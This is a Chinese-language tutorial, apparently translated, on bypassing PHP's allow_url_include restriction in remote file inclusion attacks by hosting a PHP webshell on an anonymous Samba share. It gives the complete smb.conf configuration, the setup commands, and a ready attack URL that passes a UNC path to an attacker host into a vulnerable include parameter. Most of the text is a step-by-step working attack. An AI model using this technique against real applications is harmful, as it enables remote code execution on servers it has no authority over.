php 怎么远程包含,利用PHP应用程序中的远程文件包含（RFI）并绕过远程URL包含限制...

前言

文章讲诉了如何绕过远程URL包含限制。在PHP开发环境php.ini配置文件里”,allow_url_include“为“off”的情况下，不允许PHP加载远程HTTP或FTP url包含远程文件。但是使用SMB依旧可以加载。

攻击思路

攻击者需要配置SMB服务器，启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP Webshell。

配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。

配置SMB服务器的匿名读访问权

利用有漏洞的PHP程序访问SMB

PHP环境设置

在PHP.ini文件里把 "allow_url_fopen" 和 "allow_url_include" 设为 "Off"。

当前配置PHP版本为“5.5.11”:

确定PHP不允许远程文件包含

试图从远程主机包含PHP Web shell时，应用程序抛出错误并且没有发生RFI。

配置匿名读访问SAMBA服务器(Linux)

使用下面提到的命令安装SAMBA服务器：

创建SMB共享目录(/var/www/html/pub/)

mkdir /var/www/html/pub/

配置SMB共享目录的权限：

chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/

运行以下提到的命令删除SAMBA服务器配置文件的默认内容

echo > /etc/samba/smb.conf

将下面提到的内容放在'/etc/samba/smb.conf'文件中

[global]

workgroup = WORKGROUP

server string = Samba Server %v

netbios name = indishell-lab

security = user

map to guest = bad user

name resolve order = bcast host

dns proxy = no

bind interfaces only = yes

[ica]

path = /var/www/html/pub

writable = no

guest ok = yes

guest only = yes

read only = yes

directory mode = 0555

force user = nobody

重新启动SAMBA服务器

service smbd restart

成功重新启动SAMBA服务器后，尝试访问SMB共享并确保SAMBA服务器不需要凭据验证。

\\192.168.0.3\

在SMB共享中托管PHP Web shell

在目录'/var/www/html/pub'中托管PHP shell

利用Windows Explorer打开SMB访问 Win+R直接访问。

\\192.168.0.3\ica\

攻击文件包含漏洞参数

利用SMB的php webshell路径传入文件包含漏洞的参数里。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

SMB共享中获取Web shell并在应用程序服务器上顺利执行PHP代码，绕过了远程文件包含的限制。